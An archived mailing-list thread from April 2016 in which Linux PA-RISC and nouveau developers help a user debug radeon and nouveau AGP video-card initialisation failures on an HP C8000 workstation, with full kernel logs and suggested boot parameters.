 EjZ4CS7xHIdUTq1SZDpefqsWGLnzgjUJxEpToHtloPYJVZ5M3v+LP45pC40Q2UDNH6YkSQWN+
 aJ9RHuynxGkWxv3JKjAjxRv1A+XqT60X7CXoKkVeSw/y8N2ykWQ7PNFf0ksSaBc4TPtGoj03T
 SKDEKOo2Y7vonvXPTfD10Vyv6VbHt1tREudPSh3FSsQFCHVliDCb57stWxz3/QQqa/vOHV2K 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26578
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26578>

On 03.04.2016 10:33, Graham Gower wrote:
> Hi Simone,
> 
> For the radeon driver, you want to be looking at
> linux/drivers/gpu/drm/radeon/r100.c: r100_cp_init()
> and
> linux/drivers/gpu/drm/radeon/r300.c: r300_ring_start()
> and
> linux/drivers/gpu/drm/radeon/r100.c: r100_ring_test()
> 
> As you seem to be aware though, the problem is not in the driver. This
> makes the culprit far more difficult to track down, as the code at the
> point of failure is not necessarily the code that needs to be fixed.
> I'll fire up my c8000 and see if I can remember what I tried last
> time, which might rule some things in/out for those who are smarter
> than I.

FYI, we do have some documentation available about the zx1 chipset which 
used in the C8000. Specifically:
 https://parisc.wiki.kernel.org/index.php/File:Zx1-mio.pdf
 https://parisc.wiki.kernel.org/index.php/File:Zx1-ioa-mercury_ers.pdf

Helge

> Good luck!
> -G
> 
> On 3 April 2016 at 17:04, Simone Mannori <simone.mannori@gmail.com> wrote:
>> Dear All,
>>
>> following you suggestions, now I have an - almost - perfectly working
>> hp c8000 workstation.
>>
>> Mission accomplished? Not exactly: despite a lot of efforts, the video
>> card section is still not fully operative. Let me resume the
>> situation.
>>
>> I'm using a c8000 with two PA-8800 and Debian 8.0, kernel:
>>
>> Linux version 4.4.0-1-parisc64-smp (debian-kernel@lists.debian.org)
>> (gcc version 4.9.3 (GCC) ) #1 SMP Debian 4.4.6-1 (2016-03-17)
>>
>> I have two very different AGP video cards (ATI FireGL T2 and NVIDIA
>> QUADRO MXR) that have the same issue, despite the two complety
>> different drivers ("radeon" and "nouveau"). The full logs are in
>> bottom of this post. Just to make a long history short:
>>
>> ATI FIRE GL T2 ("radeon")
>> [   47.836000 <tel:47836000>] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>> failed (scratch(0x15E4)=0xCAFEDEAD)
>> [   47.948000 <tel:47948000>] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>> working (-22).
>> [   48.036000 <tel:48036000>] radeon 0000:80:00.0: failed initializing CP (-22).
>> [   48.036000 <tel:48036000>] radeon 0000:80:00.0: Disabling GPU acceleration
>>
>> NVIDIA QUADRO MXR ("nouveau")
>> [   54.388000 <tel:54388000>] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
>> software fbcon
>> [   54.684000 <tel:54684000>] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
>> [   54.784000 <tel:54784000>] [drm] Initialized nouveau 1.3.1 20120801 <tel:13120120801> for
>> 0000:80:00.0 on minor 0
>>
>> Looking inside the posts on many developers mailing lists, I see that
>> most of the efforts have been focused on the video device drivers init
>> code. I have tried to force the video drivers using the "modeset"
>> parameter without success. I have tried also to boot without video
>> driver, then load it manually using "modprobe". No way: the results
>> are the same.
>>
>> "lsmod" tell me that "radeon"/"nouveau" are used by the "ttm" module
>> and they cannot be removed (despite the "- r --force" modprobe
>> parameters).
>>
>> Let suppose for a moment that the issue is NOT inside the video driver
>> but in the "ttm" module: something is not fully correct in the
>> initialization of the ZX1 chipset, therefore the video driver code go
>> crazy because cannot match the video card with the chipset.
>>
>> The only way that I know to investigate this issue is to recompile the
>> kernel with debug support and execute "single step"/breakpoint the
>> code that initialize the video card and the chipset near the zone of
>> the error message.
>>
>> Question: "What are the deb packages that I need to install to
>> recompile the  4.4.0-1-parisc64-smp kernel (or another kernel version
>> suitable for this investigation) ?
>>
>> Thanks in advance for you help
>>
>>    Simone Mannori - Italy
>>
>> //**-----------------------------------------------------------------------------------------------------------------
>>
>> ATI FIRE GL T2
>> [   45.460000 <tel:45460000>] [drm] radeon kernel modesetting enabled.
>> [   45.576000 <tel:45576000>] radeon 0000:80:00.0: enabling SERR and PARITY (0107 -> 0147)
>> [   45.660000 <tel:45660000>] [drm] initializing kernel modesetting (RV350
>> 0x1002:0x4154 0x1002:0x0002).
>> [   45.812000 <tel:45812000>] [drm] register mmio base: 0xC8020000
>> [   45.868000 <tel:45868000>] [drm] register mmio size: 65536
>> [   46.084000 <tel:46084000>] radeon 0000:80:00.0: putting AGP V3 device into 8x mode
>> [   46.160000 <tel:46160000>] radeon 0000:80:00.0: GTT: 512M 0x60000000 - 0x7FFFFFFF
>> [   46.236000 <tel:46236000>] [drm] Generation 2 PCI interface, using max accessible memory
>> [   46.316000 <tel:46316000>] radeon 0000:80:00.0: VRAM: 128M 0xFFFFFFFFC0000000 -
>> 0xFFFFFFFFC7FFFFFF (128M used)
>> [   46.420000 <tel:46420000>] [drm] Detected VRAM RAM=128M, BAR=128M
>> [   46.476000 <tel:46476000>] [drm] RAM width 128bits DDR
>> [   46.524000 <tel:46524000>] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>> [   46.604000 <tel:46604000>] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>> [   46.680000 <tel:46680000>] [TTM] Initializing pool allocator
>> [   46.732000 <tel:46732000>] [drm] radeon: 128M of VRAM memory ready
>> [   46.792000 <tel:46792000>] [drm] radeon: 512M of GTT memory ready.
>> [   46.852000 <tel:46852000>] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
>> [   46.944000 <tel:46944000>] radeon 0000:80:00.0: WB disabled
>> [   46.996000 <tel:46996000>] radeon 0000:80:00.0: fence driver on ring 0 use gpu
>> addr 0x0000000060000000 and cpu addr 0x0000000011279000
>> [   47.124000 <tel:47124000>] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>> [   47.204000 <tel:47204000>] [drm] Driver supports precise vblank timestamp query.
>> [   47.276000 <tel:47276000>] [drm] radeon: irq initialized.
>> [   47.328000 <tel:47328000>] [drm] Loading R300 Microcode
>> [   47.468000 <tel:47468000>] radeon 0000:80:00.0: firmware: direct-loading firmware
>> radeon/R300_cp.bin
>> [   47.584000 <tel:47584000>] [drm] radeon: ring at 0x0000000060001000
>> [   47.836000 <tel:47836000>] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>> failed (scratch(0x15E4)=0xCAFEDEAD)
>> [   47.948000 <tel:47948000>] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>> working (-22).
>> [   48.036000 <tel:48036000>] radeon 0000:80:00.0: failed initializing CP (-22).
>> [   48.036000 <tel:48036000>] radeon 0000:80:00.0: Disabling GPU acceleration
>> [  OK  ] Found device ST373207LW 2.
>> [   48.236000 <tel:48236000>] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
>> timeout, shutting down CP.
>> [   48.384000 <tel:48384000>] [drm] radeon: cp finalized
>> [   48.448000 <tel:48448000>] [drm] radeon: cp finalized
>> [   48.496000 <tel:48496000>] [TTM] Finalizing pool allocator
>> [   48.544000 <tel:48544000>] [TTM] Zone  kernel: Used memory at exit: 0 kiB
>> [   48.612000 <tel:48612000>] [TTM] Zone   dma32: Used memory at exit: 0 kiB
>> [   48.676000 <tel:48676000>] [drm] radeon: ttm finalized
>> [   48.724000 <tel:48724000>] [drm] Forcing AGP to PCI mode
>>          Starting File System Check on /d[   48.872000 <tel:48872000>] [drm]
>> Generation 2 PCI interface, using max accessible memory
>> ev/...2-638b-4a0[   48.968000] radeon 0000:80:00.0: VRAM: 128M
>> 0xFFFFFFFFC0000000 - 0xFFFFFFFFC7FFFFFF (128M used)
>> c-be55-7444e126d[   49.088000 <tel:49088000>] radeon 0000:80:00.0: GTT: 512M
>> 0xFFFFFFFFA0000000 - 0xFFFFFFFFBFFFFFFF
>> 283...
>> [   49.196000 <tel:49196000>] [drm] Detected VRAM RAM=128M, BAR=128M
>> [   49.264000 <tel:49264000>] [drm] RAM width 128bits DDR
>> [   49.328000 <tel:49328000>] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>> [   49412000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>> [   49.492000 <tel:49492000>] [TTM] Initializing pool allocator
>> [   49.492000 <tel:49492000>] [drm] radeon: 128M of VRAM memory ready
>> [   49.492000 <tel:49492000>] [drm] radeon: 512M of GTT memory ready.
>> [   49.492000 <tel:49492000>] [drm] GART: num cpu pages 131072, num gpu pages 131072
>> [   49.636000 <tel:49636000>] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
>> [   49.636000 <tel:49636000>] [drm] PCI GART of 512M enabled (table at 0x0000000043300000).
>> [   49.636000 <tel:49636000>] radeon 0000:80:00.0: WB enabled
>> [   49.636000 <tel:49636000>] radeon 0000:80:00.0: fence driver on ring 0 use gpu
>> addr 0xffffffffa0000000 and cpu addr 0x000000007d239000
>> [   49.636000 <tel:49636000>] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>> [   49.636000 <tel:49636000>] [drm] Driver supports precise vblank timestamp query.
>> [   49.636000 <tel:49636000>] [drm] radeon: irq initialized.
>> [   49.780000 <tel:49780000>] [drm] radeon: ring at 0xFFFFFFFFA0001000
>> [   49.972000 <tel:49972000>] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>> failed (scratch(0x15E4)=0xCAFEDEAD)
>> [   49.976000 <tel:49976000>] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>> working (-22).
>> [   49.976000 <tel:49976000>] radeon 0000:80:00.0: failed initializing CP (-22).
>> [   49.976000 <tel:49976000>] radeon 0000:80:00.0: Disabling GPU acceleration
>> [   50.168000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
>> timeout, shutting down CP.
>> [   50.280000] [drm] radeon: cp finalized
>> [   50.592000] [drm] Radeon Display Connectors
>> [   50.592000] [drm] Connector 0:
>> [   50.592000] [drm]   VGA-1
>> [   50.592000] [drm]   DDC: 0x60 0x60 0x60 0x60 0x60 0x60 0x60 0x60
>> [   50.592000] [drm]   Encoders:
>> [   50.592000] [drm]     CRT1: INTERNAL_DAC1
>> [   50.592000] [drm] Connector 1:
>> [   50.592000] [drm]   DVI-I-1
>> [   50.592000] [drm]   HPD1
>> [   50.592000] [drm]   DDC: 0x64 0x64 0x64 0x64 0x64 0x64 0x64 0x64
>> [   50.592000] [drm]   Encoders:
>> [   50.592000] [drm]     CRT2: INTERNAL_DAC2
>> [   50.592000] [drm]     DFP1: INTERNAL_TMDS1
>> [   50.608000] radeon 0000:80:00.0: No connectors reported connected with modes
>> [   50.608000] [drm] Cannot find any crtc or sizes - going 1024x768
>> [   50.828000] [drm] fb mappable at 0xFFFFFFFFC0040000
>> [   50.828000] [drm] vram apper at 0xFFFFFFFFC0000000
>> [   50.828000] [drm] size 3145728
>> [   50.828000] [drm] fb depth is 24
>> [   50.828000] [drm]    pitch is 4096
>> [   51.848000 <tel:51848000>] Console: switching to colour frame buffer device 128x48
>> [   52.080000 <tel:52080000>] radeon 0000:80:00.0: fb0: radeondrmfb frame buffer device
>> [   52172000] [drm] Initialized radeon 2.43.0 20080528 for
>> 0000:80:00.0 on minor 0
>>
>> NVIDIA QUADRO MXR
>> [   51.880000 <tel:51880000>] nouveau 0000:80:00.0: enabling SERR and PARITY (0007 -> 0147)
>> [   52.044000 <tel:52044000>] nouveau 0000:80:00.0: NVIDIA NV11 (011300a1)
>> [   52.364000 <tel:52364000>] nouveau 0000:80:00.0: bios: version 03.11.01.24.00 <tel:0311012400>
>> [   52.488000 <tel:52488000>] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
>> [   52.592000 <tel:52592000>] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
>> [   52.668000 <tel:52668000>] nouveau 0000:80:00.0: tmr: unknown input clock freq
>> [   52.740000 <tel:52740000>] nouveau 0000:80:00.0: fb: 32 MiB SDRAM
>> [   52.844000 <tel:52844000>] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>> [   52.920000 <tel:52920000>] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>> [   52.920000 <tel:52920000>] [TTM] Initializing pool allocator
>> [   52.928000 <tel:52928000>] nouveau 0000:80:00.0: DRM: VRAM: 31 MiB
>> [   52.928000 <tel:52928000>] nouveau 0000:80:00.0: DRM: GART: 512 MiB
>> [   52.928000 <tel:52928000>] nouveau 0000:80:00.0: DRM: BMP version 5.20
>> [   52.928000 <tel:52928000>] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
>> [   52.928000 <tel:52928000>] nouveau 0000:80:00.0: DRM: Adaptor not initialised,
>> running VBIOS init tables.
>> [   53.016000 <tel:53016000>] nouveau 0000:80:00.0: DRM: Saving VGA fonts
>> [   53.336000 <tel:53336000>] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
>> [   53.336000 <tel:53336000>] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>> [   53.336000 <tel:53336000>] [drm] Driver supports precise vblank timestamp query.
>> [   53.336000 <tel:53336000>] nouveau 0000:80:00.0: DRM: 0xABA2: Parsing digital
>> output script table
>> [   53.920000 <tel:53920000>] nouveau 0000:80:00.0: DRM: MM: using M2MF for buffer copies
>> [   54.144000 <tel:54144000>] nouveau 0000:80:00.0: DRM: allocated 1920x1200 fb:
>> 0x8000, bo 000000007cee1000
>> [   54.276000 <tel:54276000>] nouveau 0000:80:00.0: DRM: 0xABCE: Parsing digital
>> output script table
>> [   54.312000 <tel:54312000>] Console: switching to colour frame buffer device 240x75
>> [   54.388000 <tel:54388000>] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
>> software fbcon
>> [   54.684000 <tel:54684000>] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
>> [   54.784000 <tel:54784000>] [drm] Initialized nouveau 1.3.1 20120801 <tel:13120120801> for
>> 0000:80:00.0 on minor 0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.freedesktop.xorg.nouveau
Subject: Re: [Nouveau] PA-RISC (hppa) video cards init failure loading the
 device driver kernel module
Date: Mon, 4 Apr 2016 05:56:31 +0200
Lines: 292
Approved: news@gmane.org
Message-ID: <CACrbsaC67nqia4C3xOQ0SshkyPQb5DuRuuXq1Zsez1pxezp5nw@mail.gmail.com>
References: <CACrbsaA0RzGtVQD5GH5eMZk-0c1J0AF_nZFWQpGzVYMs-xCE2g@mail.gmail.com>
	<CAKb7Uvh-DZC4RakBd-F-Gxh45_jFEE+vF89DXou5MLb7qg3Jqw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459742203 13681 80.91.229.3 (4 Apr 2016 03:56:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Apr 2016 03:56:43 +0000 (UTC)
Cc: "nouveau@lists.freedesktop.org" <nouveau@lists.freedesktop.org>,
	Paolo Gai <pj@evidence.eu.com>,
	Graham Gower <graham.gower@gmail.com>,
	Gianni Bianchini <giannibi@dii.unisi.it>,
	Helge Deller <deller@gmx.de>,
	Riccardo Schiavi <r.schiavi@evidence.eu.com>,
	John David Anglin <dave.anglin@bell.net>,
	Daniele Mazzi <daniele.mazzi@gmail.com>
To: Ilia Mirkin <imirkin@alum.mit.edu>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 04 05:56:35 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1amvcw-0005I4-6Q
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Apr 2016 05:56:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751065AbcDDD4d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Apr 2016 23:56:33 -0400
Original-Received: from mail-ig0-f193.google.com ([209.85.213.193]:34706 "EHLO
	mail-ig0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751022AbcDDD4d (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Apr 2016 23:56:33 -0400
Original-Received: by mail-ig0-f193.google.com with SMTP id qu10so4620608igc.1
        for <linux-parisc@vger.kernel.org>; Sun, 03 Apr 2016 20:56:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=lrZzipY0jB39Agoaf0g6Uxvf2FbfIQO839rA5OAqku8=;
        b=zHf0WmJtKNh1gzhtOkuTllOGMhMZft+LMYkL9WKv96sctlkTiEJRoBYE+GpOGxmTys
         VYK9XSuSAHbPqDUBz1ccaos3OpM8kA2yLkuZ3wckB9qfzHLUmaXvAGYvnUg0OMLsh5yV
         6qGpgxQgSzzmcLWJesiVPcAhNEq1s2jJ08JU3OgOVsPpBT6LB9EhrtBrV/2KqOXxy/i+
         b8eB2W7W9FKl6ZOOA0D/G7z6IxCYkg9ktE7CGN57zIZZl9P96w51WsaY0WJvefuNRWwO
         Vfsu6qxQ6kM2w34U2jvlpM1uW/KNk/GzgSLnuCP7gaM6LNAE0jP70hYw7TFXBR+RM6tO
         y6dA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=lrZzipY0jB39Agoaf0g6Uxvf2FbfIQO839rA5OAqku8=;
        b=lSnmwFWazvmSRW37ZgEN5XHMEeYpyuM5kSMHAFlhnuyt82Xmyg8iN4SAZvvsDWwOQ0
         /DdL4VE82d8Fqi5ik8vGzzejUaIXsFUBCNlynxzZnj8ZOh4wcS7rVIZ1RmjkHLp0b3Ux
         0EWRRH7Z51EVPv0TYLKe3utNlsxON+JCqwWMAeoof9728IZKBQmGtu5q38cBq8FlgBMj
         bYtdDbRIb1MjaH6dgcpYVt6MksxKUBqR4CSVy5cv11/X2G+sCURZwKDV3Hytl8bqiPsH
         N95LNIUR9YhcmbA0pu3rbX8YIyDWDmdaICu5CKO4juSfRFtfPDk8bI19MeB4T3TyutLV
         T8hw==
X-Gm-Message-State: AD7BkJLVA24HXnDDxNKG8sGbBWpSjAHLRMIY5XSIkrHA/pYf/6fMhEUz7PvpX9rKGTjIwQDR5O+BYr62GUur5A==
X-Received: by 10.107.3.149 with SMTP id e21mr11770691ioi.46.1459742192209;
 Sun, 03 Apr 2016 20:56:32 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Sun, 3 Apr 2016 20:56:31 -0700 (PDT)
In-Reply-To: <CAKb7Uvh-DZC4RakBd-F-Gxh45_jFEE+vF89DXou5MLb7qg3Jqw@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26579 gmane.comp.freedesktop.xorg.nouveau:24346
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26579>

Dear Ilia,

this page summarize all the possible options of the "nouveau" kernel module:

https://nouveau.freedesktop.org/wiki/KernelModuleParameters/

I will test the options that you have suggested as soon as possible.

Try a PCI video card is a very good advice because the
AGP/FX1(chipset) is on the top of the "usual suspects" list;
unfortunately the c8000 has 3.3 PCI slots and all the (very old) PCI
video cards in my hands have 5V PCI connector

Many thanks for your suggestions and advice.

   Simone Mannori - Italy


On 4 April 2016 at 04:18, Ilia Mirkin <imirkin@alum.mit.edu> wrote:
> Not sure about the radeon issue, but
>
> "DRM: GPU lockup - switching to software fbcon"
>
> basically means "the CPU isn't able to submit commands, or the GPU
> isn't executing the commands". Basically the GPU can only have so many
> commands outstanding [well, command buffers], and we hit that limit.
> From what I understand, PA-RISC has a "funny" architecture that is
> very unlike x86 in terms of memory coherency, and is thus more likely
> to hit issues that don't exist on other architectures. Perhaps you can
> summarize the key points of oddness? Perhaps there's some debug
> "disable caches" mode or something? Also note that nouveau won't work
> well on an architecture with a non-4K page size. Not sure if that's
> the situation for you.
>
> I see that it's using AGP - there's a high chance that something
> AGP-related is broken - try booting with nouveau.config=NvAGP=0 (or
> nouveau.agpmode=0 for pre-4.3 kernels).
>
> Perhaps it has issues DMA'ing the command buffer from system memory,
> we can try forcing the pushbuf to be in vram - boot with
> nouveau.vram_pushbuf=1 .
>
> If there are PCI slots and you have a PCI video card handy, I'd
> definitely try that too.
>
> Good luck,
>
>   -ilia
>
> On Sun, Apr 3, 2016 at 3:51 AM, Simone Mannori <simone.mannori@gmail.com> wrote:
>> Dear "nouveau" developers,
>>
>> I know that many very competent guys have already spent a lot of time
>> and efforts on this issue without success. I have started to play with
>> "hppa" two weeks ago and, with the support of the linux-parisc mailing
>> list people, now I have a - almost fully - working workstation (hp
>> c8000).
>>
>> Everythings work perfectly BUT the video card. No matter the model,
>> type, driver, etc. the results are always the same: a very slow frame
>> buffer mode only.
>>
>> I'm forwarding the results of my investigations with the hope that
>> someone of you will help me to find the right path to fix this issue.
>>
>> Thanks in advance for your help.
>>
>>   Simone Mannori - Italy
>>
>> //**------------------------------------------------------------------------------------------------------------
>>
>> ---------- Forwarded message ----------
>> From: Simone Mannori <simone.mannori@gmail.com>
>> Date: 3 April 2016 at 09:34
>> Subject: Video cards init failure loading the device driver kernel module
>> To: John David Anglin <dave.anglin@bell.net>
>> Cc: Helge Deller <deller@gmx.de>, Graham Gower
>> <graham.gower@gmail.com>, linux-parisc <linux-parisc@vger.kernel.org>
>>
>>
>> Dear All,
>>
>> following you suggestions, now I have an - almost - perfectly working
>> hp c8000 workstation.
>>
>> Mission accomplished? Not exactly: despite a lot of efforts, the video
>> card section is still not fully operative. Let me resume the
>> situation.
>>
>> I'm using a c8000 with two PA-8800 and Debian 8.0, kernel:
>>
>> Linux version 4.4.0-1-parisc64-smp (debian-kernel@lists.debian.org)
>> (gcc version 4.9.3 (GCC) ) #1 SMP Debian 4.4.6-1 (2016-03-17)
>>
>> I have two very different AGP video cards (ATI FireGL T2 and NVIDIA
>> QUADRO MXR) that have the same issue, despite the two complety
>> different drivers ("radeon" and "nouveau"). The full logs are in
>> bottom of this post. Just to make a long history short:
>>
>> ATI FIRE GL T2 ("radeon")
>> [   47.836000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>> failed (scratch(0x15E4)=0xCAFEDEAD)
>> [   47.948000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>> working (-22).
>> [   48.036000] radeon 0000:80:00.0: failed initializing CP (-22).
>> [   48.036000] radeon 0000:80:00.0: Disabling GPU acceleration
>>
>> NVIDIA QUADRO MXR ("nouveau")
>> [   54.388000] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
>> software fbcon
>> [   54.684000] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
>> [   54.784000] [drm] Initialized nouveau 1.3.1 20120801 for
>> 0000:80:00.0 on minor 0
>>
>> Looking inside the posts on many developers mailing lists, I see that
>> most of the efforts have been focused on the video device drivers init
>> code. I have tried to force the video drivers using the "modeset"
>> parameter without success. I have tried also to boot without video
>> driver, then load it manually using "modprobe". No way: the results
>> are the same.
>>
>> "lsmod" tell me that "radeon"/"nouveau" are used by the "ttm" module
>> and they cannot be removed (despite the "- r --force" modprobe
>> parameters).
>>
>> Let suppose for a moment that the issue is NOT inside the video driver
>> but in the "ttm" module: something is not fully correct in the
>> initialization of the ZX1 chipset, therefore the video driver code go
>> crazy because cannot match the video card with the chipset.
>>
>> The only way that I know to investigate this issue is to recompile the
>> kernel with debug support and execute "single step"/breakpoint the
>> code that initialize the video card and the chipset near the zone of
>> the error message.
>>
>> Question: "What are the deb packages that I need to install to
>> recompile the  4.4.0-1-parisc64-smp kernel (or another kernel version
>> suitable for this investigation) ?
>>
>> Thanks in advance for you help
>>
>>    Simone Mannori - Italy
>>
>> //**-----------------------------------------------------------------------------------------------------------------
>>
>> ATI FIRE GL T2
>> [   45.460000] [drm] radeon kernel modesetting enabled.
>> [   45.576000] radeon 0000:80:00.0: enabling SERR and PARITY (0107 -> 0147)
>> [   45.660000] [drm] initializing kernel modesetting (RV350
>> 0x1002:0x4154 0x1002:0x0002).
>> [   45.812000] [drm] register mmio base: 0xC8020000
>> [   45.868000] [drm] register mmio size: 65536
>> [   46.084000] radeon 0000:80:00.0: putting AGP V3 device into 8x mode
>> [   46.160000] radeon 0000:80:00.0: GTT: 512M 0x60000000 - 0x7FFFFFFF
>> [   46.236000] [drm] Generation 2 PCI interface, using max accessible memory
>> [   46.316000] radeon 0000:80:00.0: VRAM: 128M 0xFFFFFFFFC0000000 -
>> 0xFFFFFFFFC7FFFFFF (128M used)
>> [   46.420000] [drm] Detected VRAM RAM=128M, BAR=128M
>> [   46.476000] [drm] RAM width 128bits DDR
>> [   46.524000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>> [   46.604000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>> [   46.680000] [TTM] Initializing pool allocator
>> [   46.732000] [drm] radeon: 128M of VRAM memory ready
>> [   46.792000] [drm] radeon: 512M of GTT memory ready.
>> [   46.852000] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
>> [   46.944000] radeon 0000:80:00.0: WB disabled
>> [   46.996000] radeon 0000:80:00.0: fence driver on ring 0 use gpu
>> addr 0x0000000060000000 and cpu addr 0x0000000011279000
>> [   47.124000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>> [   47.204000] [drm] Driver supports precise vblank timestamp query.
>> [   47.276000] [drm] radeon: irq initialized.
>> [   47.328000] [drm] Loading R300 Microcode
>> [   47.468000] radeon 0000:80:00.0: firmware: direct-loading firmware
>> radeon/R300_cp.bin
>> [   47.584000] [drm] radeon: ring at 0x0000000060001000
>> [   47.836000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>> failed (scratch(0x15E4)=0xCAFEDEAD)
>> [   47.948000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>> working (-22).
>> [   48.036000] radeon 0000:80:00.0: failed initializing CP (-22).
>> [   48.036000] radeon 0000:80:00.0: Disabling GPU acceleration
>> [  OK  ] Found device ST373207LW 2.
>> [   48.236000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
>> timeout, shutting down CP.
>> [   48.384000] [drm] radeon: cp finalized
>> [   48.448000] [drm] radeon: cp finalized
>> [   48.496000] [TTM] Finalizing pool allocator
>> [   48.544000] [TTM] Zone  kernel: Used memory at exit: 0 kiB
>> [   48.612000] [TTM] Zone   dma32: Used memory at exit: 0 kiB
>> [   48.676000] [drm] radeon: ttm finalized
>> [   48.724000] [drm] Forcing AGP to PCI mode
>>          Starting File System Check on /d[   48.872000] [drm]
>> Generation 2 PCI interface, using max accessible memory
>> ev/...2-638b-4a0[   48.968000] radeon 0000:80:00.0: VRAM: 128M
>> 0xFFFFFFFFC0000000 - 0xFFFFFFFFC7FFFFFF (128M used)
>> c-be55-7444e126d[   49.088000] radeon 0000:80:00.0: GTT: 512M
>> 0xFFFFFFFFA0000000 - 0xFFFFFFFFBFFFFFFF
>> 283...
>> [   49.196000] [drm] Detected VRAM RAM=128M, BAR=128M
>> [   49.264000] [drm] RAM width 128bits DDR
>> [   49.328000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>> [   49412000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>> [   49.492000] [TTM] Initializing pool allocator
>> [   49.492000] [drm] radeon: 128M of VRAM memory ready
>> [   49.492000] [drm] radeon: 512M of GTT memory ready.
>> [   49.492000] [drm] GART: num cpu pages 131072, num gpu pages 131072
>> [   49.636000] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
>> [   49.636000] [drm] PCI GART of 512M enabled (table at 0x0000000043300000).
>> [   49.636000] radeon 0000:80:00.0: WB enabled
>> [   49.636000] radeon 0000:80:00.0: fence driver on ring 0 use gpu
>> addr 0xffffffffa0000000 and cpu addr 0x000000007d239000
>> [   49.636000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>> [   49.636000] [drm] Driver supports precise vblank timestamp query.
>> [   49.636000] [drm] radeon: irq initialized.
>> [   49.780000] [drm] radeon: ring at 0xFFFFFFFFA0001000
>> [   49.972000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>> failed (scratch(0x15E4)=0xCAFEDEAD)
>> [   49.976000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>> working (-22).
>> [   49.976000] radeon 0000:80:00.0: failed initializing CP (-22).
>> [   49.976000] radeon 0000:80:00.0: Disabling GPU acceleration
>> [   50.168000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
>> timeout, shutting down CP.
